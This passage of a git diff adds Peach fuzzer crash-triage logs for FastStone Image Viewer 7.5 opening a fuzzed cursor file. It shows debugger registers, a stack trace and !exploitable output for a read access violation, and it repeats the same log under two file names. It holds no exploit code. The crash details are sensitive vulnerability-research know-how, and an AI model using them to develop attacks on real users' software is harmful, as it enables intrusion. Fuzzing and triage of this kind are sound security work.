b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..8549024 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..60e15fe --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x19C8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x19C8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(19c8.19f8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e67b10 edx=00003879 esi=ffdd0010 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272713000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-0.722173 0.368379 -1.01214e-025 9.90108e-022 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003a0000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003a0000 2685c8d8 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003a0000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..60e15fe --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x19C8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x19C8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(19c8.19f8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e67b10 edx=00003879 esi=ffdd0010 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272713000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-0.722173 0.368379 -1.01214e-025 9.90108e-022 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003a0000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003a0000 2685c8d8 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003a0000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV 